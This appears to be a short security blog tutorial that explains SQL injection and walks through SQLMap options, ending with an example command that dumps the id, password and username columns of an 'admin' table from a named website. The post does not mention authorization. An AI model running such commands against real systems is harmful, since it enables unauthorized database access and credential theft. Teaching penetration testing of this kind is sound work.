Exploliting SQL injection flaws using SQLMap


A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands


SQLMap

SQLMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

SQLMap comes by default with Backtrack,Kali frameworks and for windows the download is available at here

Note: Only Python 2.7 has to be installed to run SQLMap

Syntax of execution in windows

python sqlmap.py -u "http://www.application.com"

The options on sqlmap are

Option
Use
-u
Specify a particular vulnerable URL
--dbs
Retrieve all the databases in the server
--current-db
Retrieve the application database
--dbms=mysql
To specify that the backend database is mysql
-D  dbname
To select a particular database
--tables
Retrieve all the tables in the database
-T  tablename
To Select a particular table
--columns
Retrieve all the columns in the table specified
-C columnname
To retrieve a specific column
--dump
To get the entire table/database

Example query:
python sqlmap.py -u http://www.abcapplicastion.com/viewfaculty.php?id=12 -D results -T admin -C id,passwrd,u_name --dump


Comments

Popular posts from this blog

Importance of enabling Secure and HTTPOnly flag for cookies

My encounter with successful social engineering attack